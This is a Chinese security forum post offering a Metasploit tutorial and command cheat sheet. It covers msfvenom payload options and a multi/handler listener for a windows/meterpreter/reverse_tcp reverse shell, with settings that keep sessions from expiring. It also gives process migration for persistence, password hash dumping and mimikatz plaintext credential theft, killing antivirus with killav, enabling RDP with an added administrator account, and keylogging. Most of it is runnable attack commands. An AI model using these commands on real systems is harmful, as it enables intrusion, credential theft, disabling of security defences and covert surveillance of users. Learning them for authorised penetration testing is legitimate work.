安全矩阵

 找回密码
 立即注册
搜索
查看: 4959|回复: 0

msfconsole从入门到放弃

[复制链接]

8

主题

8

帖子

62

积分

注册会员

Rank: 2

积分
62
发表于 2020-2-12 11:38:13 | 显示全部楼层 |阅读模式
本帖最后由 Justin 于 2020-2-12 11:38 编辑

关于msfconsole
msfconsole简称msf是一款常用的渗透测试工具,包含了常见的漏洞利用模块和生成各种木马。是出家旅行的必备神器,今天我们在一起来回顾下吧。
启动
在终端执行
  1. service postgresql start #启动postgresql 不启动也可以
  2. msfconsole
复制代码
常见的参数解读
  1. -p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的

  2. -l, –list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all

  3. -n, –nopsled < length> 为payload预先指定一个NOP滑动长度

  4. -f, –format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表)

  5. -e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload

  6. -a, –arch < architecture> 指定payload的目标架构,例如x86 | x64 | x86_64

  7. –platform < platform> 指定payload的目标平台

  8. -s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小

  9. -b, –bad-chars < list> 设定规避字符集,指定需要过滤的坏字符例如:不使用 '\x0f'、'\x00';

  10. -i, –iterations < count> 指定payload的编码次数

  11. -c, –add-code < path> 指定一个附加的win32 shellcode文件

  12. -x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中

  13. -k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行

  14. –payload-options 列举payload的标准选项

  15. -o, –out < path> 指定创建好的payload的存放位置

  16. -v, –var-name < name> 指定一个自定义的变量,以确定输出格式

  17. –shellest 最小化生成payload

  18. -h, –help 查看帮助选项

  19. –help-formats 查看msf支持的输出格式列表
复制代码
查看所有payloads
--list payloads

使用msfvenom --list encoders可查看所有编码器


防止假session
在实战中,经常会遇到假session或者刚连接就断开的情况,这里补充一些监听参数,防止假死与假session。
  1. msf exploit(multi/handler) > set ExitOnSession false   //可以在接收到seesion后继续监听端口,保持侦听。
复制代码
防止session意外退出
  1. msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0
复制代码

默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0
  1. msf5 exploit(multi/handler) > set SessionExpirationTimeout 0
复制代码
默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭
handler后台持续监听
  1. msf exploit(multi/handler) > exploit -j -z
复制代码
使用exploit -j -z可在后台持续监听,-j为后台任务,-z为持续监听,使用Jobs命令查看和管理后台任务。jobs -K可结束所有任务。
还有种比较快捷的建立监听的方式,在msf下直接执行:
  1. msf5 > handler -H 192.168.0.93 -P 5555 -p windows/meterpreter/reverse_tcp
复制代码
如上,我们同样得到了会话。
会话的持久化
方式一:进程的迁移
查看当前shell的进程getid
查看目标运行的进程ps
如:我想将shell的进程变为 QQProtect.exe 的进程,执行migrate 3604即可。
方式二:
使用 espia
  1. use espia
复制代码


获取凭证
  在内网环境中,一个管理员可能管理多台服务器,他使用的密码有可能相同或者有规律,如果能够得到密码或者hash,再尝试登录内网其它服务器,可能取得意想不到的效果。
1.使用meterpreter的run hashdump命令
因为我电脑没有设置密码,所以这里没有hash信息

使用mimikatz
load mimikatz载入模块
使用wdigest命令获取登录过的用户储存在内存里的明文密码。

操作文件系统
1.文件的基本操作
ls:列出当前路径下的所有文件和文件夹。
pwd 或 getwd:查看当前路径。
search:搜索文件,使用search -h查看帮助。
cat:查看文件内容,比如cat test.txt。
edit:编辑或者创建文件。和Linux系统的vm命令类似,同样适用于目标系统是windows的情况。
rm:删除文件。
cd:切换路径。
mkdir:创建文件夹。
rmdir:删除文件夹。
getlwd 或 lpwd:查看自己系统的当前路径。
lcd:切换自己当前系统的目录。
lls:显示自己当前系统的所有文件和文件夹。
2.文件的上传和下载
(1) upload
  格式:upload本地文件路径目标文件路径
(2)download
格式:download 目标文件路径 本地文件路径
其它操作
1.关闭防病毒软件
  1. run killav
  2. run post/windows/manage/killav
复制代码
2.操作远程桌面
  1. run post/windows/manage/enable_rdp
  2. run post/windows/manage/enable_rdp username=test password=test添加远程桌面的用户(同时也会将该用户添加到管理员组)
复制代码
3.键盘记录
  1. keyscan_start:开启键盘记录功能
  2. keyscan_dump:显示捕捉到的键盘记录信息
  3. keyscan_stop:停止键盘记录功能
复制代码


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 00:57 , Processed in 0.013931 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表